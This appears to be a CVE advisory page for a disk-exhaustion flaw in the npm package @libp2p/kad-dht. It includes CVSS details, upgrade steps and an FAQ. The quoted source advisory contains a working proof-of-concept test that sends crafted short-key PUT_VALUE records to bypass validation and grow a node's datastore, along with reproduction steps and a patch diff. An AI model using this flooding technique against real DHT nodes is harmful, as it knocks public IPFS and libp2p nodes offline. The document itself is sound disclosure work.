CVE-2026-45783: @libp2p/kad-dht Unvalidated PUT_VALUE Records Allow Unbounded Vulnerability

HIGH
Advisory Identifier: GHSA-32mq-hpph-xfvr
CVSS 7.5
CWE-400 CWE-20
Published
Advisory Summary

CVE-2026-45783 is a HIGH (CVSS 7.5) unvalidated put_value records allow unbounded vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @libp2p/kad-dht libraries in the npm ecosystem. The issue involves unvalidated put_value records allow unbounded disk exhaustion on dht server nodes. Remediation is available by upgrading affected packages to version 16.2.6.

CVE-2026-45783 at a Glance

CVE Identifier CVE-2026-45783
GHSA Identifier GHSA-32mq-hpph-xfvr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product @libp2p/kad-dht
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-45783

To remediate this vulnerability, upgrade all affected @libp2p/kad-dht dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@libp2p/kad-dht fixed: 16.2.6
npm install @libp2p/kad-dht@16.2.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @libp2p/kad-dht

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-45783, inspect your project dependencies using npm:

npm ls @libp2p/kad-dht

Analyze the terminal output to locate any version of @libp2p/kad-dht in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 16.2.6), your application is affected.

Note: The npm ls @libp2p/kad-dht command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @libp2p/kad-dht, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable. ### Details Two cooperating defects combine to produce the vulnerability. **Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)** ```typescript export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> { const key = record.key const keyString = uint8ArrayToString(key) // decode as UTF-8 const parts = keyString.split('/') if (parts.length < 3) { // No validator available return // <- silent success; record IS written to datastore } // ... } ``` Legitimate DHT keys (`/pk/<multihash>`, `/ipns/<peerId>`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller. **Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)** ```typescript let signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer signal.addEventListener('abort', abortListener) const messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB while (true) { if (stream.readStatus !== 'readable') { await stream.close({ signal }); break } const message = await messages.read({ signal }) await this.handleMessage(connection.remotePeer, message) // ... signal.removeEventListener('abort', abortListener) signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message signal.addEventListener('abort', abortListener) } ``` The inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely. **Combined impact** - `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`) - `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance - Attack throughput: 4 MB × unlimited messages × 32 streams - Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that) **Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific. ### PoC The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections. **File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`: ```typescript /** * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts * * Affected: packages/kad-dht/src/record/validators.ts:19-22 * packages/kad-dht/src/rpc/handlers/put-value.ts * packages/kad-dht/src/rpc/index.ts (unbounded while loop) */ /* eslint-env mocha */ import assert from 'node:assert' import { start } from '@libp2p/interface' import { defaultLogger } from '@libp2p/logger' import { persistentPeerStore } from '@libp2p/peer-store' import { Libp2pRecord } from '@libp2p/record' import { streamPair } from '@libp2p/utils' import { MemoryDatastore } from 'datastore-core' import * as lp from 'it-length-prefixed' import { TypedEventEmitter } from 'main-event' import pDefer from 'p-defer' import Sinon from 'sinon' import { stubInterface } from 'sinon-ts' import { StreamMessageEvent } from '@libp2p/interface' import { toString as uint8ArrayToString } from 'uint8arrays/to-string' import { Message, MessageType } from '../../src/message/dht.js' import { PeerRouting } from '../../src/peer-routing/index.js' import { Providers } from '../../src/providers.js' import { RoutingTable } from '../../src/routing-table/index.js' import { RPC } from '../../src/rpc/index.js' import { passthroughMapper } from '../../src/utils.js' import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js' import type { Validators } from '../../src/index.js' import type { RPCComponents } from '../../src/rpc/index.js' import type { Connection, Libp2pEvents } from '@libp2p/interface' import type { AddressManager } from '@libp2p/interface-internal' import type { Datastore } from 'interface-datastore' describe('PoC: PUT_VALUE stores data without validation for short keys', function () { this.timeout(15_000) let rpc: RPC let datastore: Datastore beforeEach(async () => { const peerId = await createPeerIdWithPrivateKey() datastore = new MemoryDatastore() const components: RPCComponents = { peerId: peerId.peerId, datastore, peerStore: stubInterface(), addressManager: stubInterface<AddressManager>(), logger: defaultLogger() } components.peerStore = persistentPeerStore({ ...components, events: new TypedEventEmitter<Libp2pEvents>() }) await start(...Object.values(components)) // Default validators: only 'pk' and 'ipns' in production. // Empty {} means: any key with ≥3 parts but unknown type throws; any key // with <3 parts silently passes (the bypass under test). const validators: Validators = {} rpc = new RPC(components, { routingTable: Sinon.createStubInstance(RoutingTable), providers: Sinon.createStubInstance(Providers), peerRouting: Sinon.createStubInstance(PeerRouting), validators, logPrefix: '', metricsPrefix: '', datastorePrefix: '', peerInfoMapper: passthroughMapper }) }) it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => { // Key bytes that, when decoded as UTF-8, produce a string with only 1 part // when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3 const craftedKey = new Uint8Array([0x01, 0x02, 0x03]) const keyStr = uint8ArrayToString(craftedKey) const parts = keyStr.split('/') assert.ok(parts.length < 3, `key produces ${parts.length} parts — expected < 3 for bypass`) const PAYLOAD_SIZE = 64 * 1024 // 64 KB — replace with 4 * 1024 * 1024 for full impact const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB) const record = new Libp2pRecord(craftedKey, largeValue, new Date()) const encodedRecord = record.serialize() const msg: Partial<Message> = { type: MessageType.PUT_VALUE, key: craftedKey, record: encodedRecord } // Confirm datastore is empty before the attack const before: string[] = [] for await (const { key } of datastore.query({})) { before.push(key.toString()) } assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0, 'datastore must be empty before attack') // Open an in-memory stream pair. // outboundStream = attacker; incomingStream = victim. const [outboundStream, incomingStream] = await streamPair() // Wait for the echoed response (PUT_VALUE handler returns the message). // This confirms the victim processed the message before we check the store. const responseReceived = pDefer<void>() outboundStream.addEventListener('message', (evt) => { // LP-decode the response and verify it's our PUT_VALUE echo for (const buf of lp.decode([(evt as StreamMessageEvent).data])) { const response = Message.decode(buf) if (response.type === MessageType.PUT_VALUE) { responseReceived.resolve() } } }) // Schedule message send after victim starts listening (mirrors existing test pattern) queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) }) // Start victim processing — do not await yet const victimDone = rpc.onIncomingStream( incomingStream, stubInterface<Connection>() ) // Wait until the victim has processed and echoed the message await responseReceived.promise // Verify: arbitrary record was stored const after: string[] = [] for await (const { key } of datastore.query({})) { after.push(key.toString()) } const dhtRecordsAfter = after.filter(k => k.includes('/record/')) assert.ok(dhtRecordsAfter.length > 0, 'VULNERABILITY CONFIRMED: arbitrary record stored without validation') console.log(`\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`) console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`) console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`) // Clean up: abort the stream so victimDone resolves incomingStream.abort(new Error('test cleanup')) await victimDone.catch(() => {}) }) it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => { const MESSAGES = 8 const VALUE_SIZE = 16 * 1024 // 16 KB each for (let i = 0; i < MESSAGES; i++) { // Unique key per message → unique datastore entry per write const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF]) const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF) const record = new Libp2pRecord(craftedKey, value, new Date()) const msg: Partial<Message> = { type: MessageType.PUT_VALUE, key: craftedKey, record: record.serialize() } const [outboundStream, incomingStream] = await streamPair() const responseReceived = pDefer<void>() outboundStream.addEventListener('message', () => { responseReceived.resolve() }) queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) }) const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>()) await responseReceived.promise incomingStream.abort(new Error('test cleanup')) await victimDone.catch(() => {}) } const keys: string[] = [] for await (const { key } of datastore.query({})) { keys.push(key.toString()) } const dhtRecords = keys.filter(k => k.includes('/record/')) assert.strictEqual(dhtRecords.length, MESSAGES, `expected ${MESSAGES} records stored`) const totalKB = (MESSAGES * VALUE_SIZE) / 1024 console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`) console.log('[PoC] No per-peer write budget. No per-stream message count limit.') console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.') }) }) ``` **Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`): ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/kad-dht npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha \ 'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000 ``` **Expected output**: ``` PoC: PUT_VALUE stores data without validation for short keys [PoC] Datastore key written: /record/aebag [PoC] Bypassed validator with: key=[0x1,0x2,0x3] [PoC] Payload stored: 65536 bytes (64 KB) ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts [PoC] 8 records stored → 128 KB written [PoC] No per-peer write budget. No per-stream message count limit. [PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion. ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked 2 passing (44ms) ``` **Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation. **Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence. ### Impact **Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes: - IPFS nodes (kubo, Helia, any JS IPFS implementation) - libp2p bootstrap nodes - Any application exposing a public DHT endpoint **Not affected**: DHT client-mode nodes, `setMode('client')` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely. **Availability (disk)**: attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable. **No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed. **Suggested minimum fix**: Change the silent early-return to a hard rejection: ```diff - if (parts.length < 3) { - // No validator available - return - } + if (parts.length < 3) { + throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`) + } ```

CVE-2026-45783 Affected @libp2p/kad-dht Versions

1 component(s)
Fixed Versions:
16.2.6
Product / Package Ecosystem Affected Versions Fixed Version
@libp2p/kad-dht
npm
< 16.2.6
16.2.6

References

Frequently Asked Questions

What is CVE-2026-45783?
CVE-2026-45783 is a security vulnerability in @libp2p/kad-dht involving Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes under CWE-400: Uncontrolled Resource Consumption.
Which @libp2p/kad-dht versions are affected?
Affected versions include releases prior to 16.2.6 across affected packages: @libp2p/kad-dht.
What version fixes CVE-2026-45783?
Upgrading to 16.2.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @libp2p/kad-dht affected?
Yes, @libp2p/kad-dht is affected in releases prior to 16.2.6. Upgrade your dependency to 16.2.6 or later.
What is the CVSS score of CVE-2026-45783?
CVE-2026-45783 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-45783?
CVE-2026-45783 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-45783?
Run the dependency tree command: 'npm ls @libp2p/kad-dht'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-32mq-hpph-xfvr",
  "modified" : "2026-06-11T13:30:45Z",
  "published" : "2026-05-19T20:07:52Z",
  "aliases" : [ "CVE-2026-45783" ],
  "summary" : "@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes",
  "details" : "### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability.                           \n                                                     \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)**                                                                                                                 \n                                                                                                           \n```typescript                                                                                                                                                                                                         \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {                                                                                             \n  const key = record.key                                                                                   \n  const keyString = uint8ArrayToString(key)   // decode as UTF-8\n  const parts = keyString.split('/')                                                                       \n                                                                                                           \n  if (parts.length < 3) {                                                                                                                                                                                             \n    // No validator available                                                                              \n    return                          // <- silent success; record IS written to datastore\n  }                                                                                                        \n  // ...                                             \n}                                                                                                                                                                                                                     \n```\n\nLegitimate DHT keys (`/pk/<multihash>`, `/ipns/<peerId>`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)**                                                                                                                               \n                                                                                                                                                                                                                      \n```typescript                                                                                              \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer\nsignal.addEventListener('abort', abortListener)      \nconst messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n  if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }\n  const message = await messages.read({ signal })\n  await this.handleMessage(connection.remotePeer, message)\n  // ...\n  signal.removeEventListener('abort', abortListener)\n  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message\n  signal.addEventListener('abort', abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB × unlimited messages × 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n *           packages/kad-dht/src/rpc/handlers/put-value.ts\n *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from 'node:assert'\nimport { start } from '@libp2p/interface'\nimport { defaultLogger } from '@libp2p/logger'\nimport { persistentPeerStore } from '@libp2p/peer-store'\nimport { Libp2pRecord } from '@libp2p/record'\nimport { streamPair } from '@libp2p/utils'\nimport { MemoryDatastore } from 'datastore-core'\nimport * as lp from 'it-length-prefixed'\nimport { TypedEventEmitter } from 'main-event'\nimport pDefer from 'p-defer'\nimport Sinon from 'sinon'\nimport { stubInterface } from 'sinon-ts'\nimport { StreamMessageEvent } from '@libp2p/interface'\nimport { toString as uint8ArrayToString } from 'uint8arrays/to-string'\nimport { Message, MessageType } from '../../src/message/dht.js'\nimport { PeerRouting } from '../../src/peer-routing/index.js'\nimport { Providers } from '../../src/providers.js'\nimport { RoutingTable } from '../../src/routing-table/index.js'\nimport { RPC } from '../../src/rpc/index.js'\nimport { passthroughMapper } from '../../src/utils.js'\nimport { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'\nimport type { Validators } from '../../src/index.js'\nimport type { RPCComponents } from '../../src/rpc/index.js'\nimport type { Connection, Libp2pEvents } from '@libp2p/interface'\nimport type { AddressManager } from '@libp2p/interface-internal'\nimport type { Datastore } from 'interface-datastore'\n\ndescribe('PoC: PUT_VALUE stores data without validation for short keys', function () {\n  this.timeout(15_000)\n\n  let rpc: RPC\n  let datastore: Datastore\n\n  beforeEach(async () => {\n    const peerId = await createPeerIdWithPrivateKey()\n    datastore = new MemoryDatastore()\n\n    const components: RPCComponents = {\n      peerId: peerId.peerId,\n      datastore,\n      peerStore: stubInterface(),\n      addressManager: stubInterface<AddressManager>(),\n      logger: defaultLogger()\n    }\n    components.peerStore = persistentPeerStore({\n      ...components,\n      events: new TypedEventEmitter<Libp2pEvents>()\n    })\n\n    await start(...Object.values(components))\n\n    // Default validators: only 'pk' and 'ipns' in production.\n    // Empty {} means: any key with ≥3 parts but unknown type throws; any key\n    // with <3 parts silently passes (the bypass under test).\n    const validators: Validators = {}\n\n    rpc = new RPC(components, {\n      routingTable: Sinon.createStubInstance(RoutingTable),\n      providers: Sinon.createStubInstance(Providers),\n      peerRouting: Sinon.createStubInstance(PeerRouting),\n      validators,\n      logPrefix: '',\n      metricsPrefix: '',\n      datastorePrefix: '',\n      peerInfoMapper: passthroughMapper\n    })\n  })\n\n  it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {\n    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n    // when split on '/': [0x01, 0x02, 0x03] → \"\\x01\\x02\\x03\" → length 1 < 3\n    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n    const keyStr = uint8ArrayToString(craftedKey)\n    const parts = keyStr.split('/')\n    assert.ok(parts.length < 3,\n      `key produces ${parts.length} parts — expected < 3 for bypass`)\n\n    const PAYLOAD_SIZE = 64 * 1024  // 64 KB — replace with 4 * 1024 * 1024 for full impact\n    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n    const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n    const encodedRecord = record.serialize()\n\n    const msg: Partial<Message> = {\n      type: MessageType.PUT_VALUE,\n      key: craftedKey,\n      record: encodedRecord\n    }\n\n    // Confirm datastore is empty before the attack\n    const before: string[] = []\n    for await (const { key } of datastore.query({})) {\n      before.push(key.toString())\n    }\n    assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,\n      'datastore must be empty before attack')\n\n    // Open an in-memory stream pair.\n    // outboundStream = attacker; incomingStream = victim.\n    const [outboundStream, incomingStream] = await streamPair()\n\n    // Wait for the echoed response (PUT_VALUE handler returns the message).\n    // This confirms the victim processed the message before we check the store.\n    const responseReceived = pDefer<void>()\n    outboundStream.addEventListener('message', (evt) => {\n      // LP-decode the response and verify it's our PUT_VALUE echo\n      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n        const response = Message.decode(buf)\n        if (response.type === MessageType.PUT_VALUE) {\n          responseReceived.resolve()\n        }\n      }\n    })\n\n    // Schedule message send after victim starts listening (mirrors existing test pattern)\n    queueMicrotask(() => {\n      outboundStream.send(lp.encode.single(Message.encode(msg)))\n    })\n\n    // Start victim processing — do not await yet\n    const victimDone = rpc.onIncomingStream(\n      incomingStream,\n      stubInterface<Connection>()\n    )\n\n    // Wait until the victim has processed and echoed the message\n    await responseReceived.promise\n\n    // Verify: arbitrary record was stored\n    const after: string[] = []\n    for await (const { key } of datastore.query({})) {\n      after.push(key.toString())\n    }\n    const dhtRecordsAfter = after.filter(k => k.includes('/record/'))\n\n    assert.ok(dhtRecordsAfter.length > 0,\n      'VULNERABILITY CONFIRMED: arbitrary record stored without validation')\n\n    console.log(`\\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)\n    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)\n    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n    // Clean up: abort the stream so victimDone resolves\n    incomingStream.abort(new Error('test cleanup'))\n    await victimDone.catch(() => {})\n  })\n\n  it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {\n    const MESSAGES = 8\n    const VALUE_SIZE = 16 * 1024  // 16 KB each\n\n    for (let i = 0; i < MESSAGES; i++) {\n      // Unique key per message → unique datastore entry per write\n      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])\n      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)\n      const record = new Libp2pRecord(craftedKey, value, new Date())\n\n      const msg: Partial<Message> = {\n        type: MessageType.PUT_VALUE,\n        key: craftedKey,\n        record: record.serialize()\n      }\n\n      const [outboundStream, incomingStream] = await streamPair()\n\n      const responseReceived = pDefer<void>()\n      outboundStream.addEventListener('message', () => { responseReceived.resolve() })\n\n      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())\n\n      await responseReceived.promise\n      incomingStream.abort(new Error('test cleanup'))\n      await victimDone.catch(() => {})\n    }\n\n    const keys: string[] = []\n    for await (const { key } of datastore.query({})) {\n      keys.push(key.toString())\n    }\n    const dhtRecords = keys.filter(k => k.includes('/record/'))\n\n    assert.strictEqual(dhtRecords.length, MESSAGES,\n      `expected ${MESSAGES} records stored`)\n\n    const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n    console.log(`\\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)\n    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')\n    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')\n  })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n  'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written:  /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored:          65536 bytes (64 KB)\n    ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts\n\n[PoC] 8 records stored → 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.\n    ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode('client')` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n                                                                                                           \n```diff\n-  if (parts.length < 3) {\n-    // No validator available\n-    return\n-  }\n+  if (parts.length < 3) {\n+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+  }\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@libp2p/kad-dht"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "16.2.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45783"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/libp2p/js-libp2p"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T20:07:52Z",
    "nvd_published_at" : "2026-06-10T22:16:59Z"
  }
}